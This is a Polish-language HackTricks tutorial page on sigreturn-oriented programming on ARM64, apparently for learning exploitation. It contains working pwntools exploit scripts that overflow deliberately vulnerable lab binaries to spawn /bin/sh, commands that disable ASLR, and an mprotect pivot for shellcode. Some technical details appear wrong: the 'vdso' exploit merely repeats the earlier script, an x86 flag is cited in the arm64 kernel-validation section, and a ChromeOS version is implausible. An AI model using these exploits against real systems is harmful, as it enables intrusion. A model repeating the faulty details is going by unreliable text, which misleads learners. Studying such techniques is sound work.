> [!TIP]
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przykład Pwntools
Ten przykład tworzy podatny plik binarny i wykorzystuje go. Plik binarny odczytuje na stos i następnie wywołuje sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof przykład
Kod
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Skompiluj to za pomocą:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
Eksploit wykorzystuje bof, aby powrócić do wywołania sigreturn
i przygotować stos do wywołania execve
z wskaźnikiem do /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
przykład bof bez sigreturn
Kod
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
W sekcji vdso
można znaleźć wywołanie sigreturn
w przesunięciu 0x7b0
:
 (1).png)
Dlatego, jeśli zostanie ujawnione, możliwe jest użycie tego adresu do uzyskania dostępu do sigreturn
, jeśli binarka go nie ładuje:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Aby uzyskać więcej informacji na temat vdso, sprawdź:
Aby obejść adres /bin/sh
, możesz utworzyć kilka zmiennych środowiskowych wskazujących na ten adres, aby uzyskać więcej informacji:
Automatyczne znajdowanie gadżetów sigreturn
(2023-2025)
W nowoczesnych dystrybucjach trampolina sigreturn
jest nadal eksportowana przez stronę vDSO, ale dokładny offset może się różnić w zależności od wersji jądra i flag kompilacji, takich jak BTI (+branch-protection
) lub PAC. Automatyzacja jej odkrywania zapobiega twardemu kodowaniu offsetów:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Oba narzędzia rozumieją AArch64 kodowania i będą wyświetlać kandydatów mov x8, 0x8b ; svc #0
, które mogą być użyte jako SROP gadget.
Uwaga: Gdy binaria są kompilowane z BTI, pierwsza instrukcja każdego ważnego celu pośredniego skoku to
bti c
. Trampolinysigreturn
umieszczone przez linker już zawierają poprawny punkt lądowania BTI, więc gadget pozostaje użyteczny z kodu nieuprzywilejowanego.
Łączenie SROP z ROP (pivot przez mprotect
)
rt_sigreturn
pozwala nam kontrolować wszystkie rejestry ogólnego przeznaczenia i pstate
. Powszechnym wzorem na x86 jest: 1) użyj SROP do wywołania mprotect
, 2) pivot do nowego wykonywalnego stosu zawierającego shell-code. Ta sama idea działa na ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Po wysłaniu ramki możesz wysłać drugi etap zawierający surowy kod powłoki pod 0x400000+0x100
. Ponieważ AArch64 używa adresowania PC-relative, jest to często bardziej wygodne niż budowanie dużych łańcuchów ROP.
Walidacja jądra, PAC i Shadow-Stacks
Linux 5.16 wprowadził surowszą walidację ramek sygnałów przestrzeni użytkownika (commit 36f5a6c73096
). Jądro teraz sprawdza:
uc_flags
musi zawieraćUC_FP_XSTATE
, gdyextra_context
jest obecny.- Zarezerwowane słowo w
struct rt_sigframe
musi być zerowe. - Każdy wskaźnik w rekordzie extra_context jest wyrównany i wskazuje wewnątrz przestrzeni adresowej użytkownika.
pwntools>=4.10
automatycznie tworzy zgodne ramki, ale jeśli budujesz je ręcznie, upewnij się, że zainicjalizujesz reserved na zero i pomiń rekord SVE, chyba że naprawdę go potrzebujesz—w przeciwnym razie rt_sigreturn
zwróci SIGSEGV
zamiast powrotu.
Zaczynając od mainstreamowego Androida 14 i Fedory 38, przestrzeń użytkownika jest kompilowana z PAC (Pointer Authentication) i BTI włączonymi domyślnie (-mbranch-protection=standard
). SROP sam w sobie nie jest dotknięty, ponieważ jądro bezpośrednio nadpisuje PC
z utworzonej ramki, omijając uwierzytelniony LR zapisany na stosie; jednak każdy kolejny łańcuch ROP, który wykonuje pośrednie skoki, musi skakać do instrukcji z włączonym BTI lub adresów PACed. Pamiętaj o tym przy wyborze gadżetów.
Shadow-Call-Stacks wprowadzone w ARMv8.9 (i już włączone w ChromeOS 1.27+) są łagodzeniem na poziomie kompilatora i nie kolidują z SROP, ponieważ żadne instrukcje powrotu nie są wykonywane—przepływ kontroli jest przekazywany przez jądro.
Odnośniki
- Dokumentacja obsługi sygnałów Linux arm64
- LWN – "Ochrona gałęzi AArch64 trafia do GCC i glibc" (2023)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.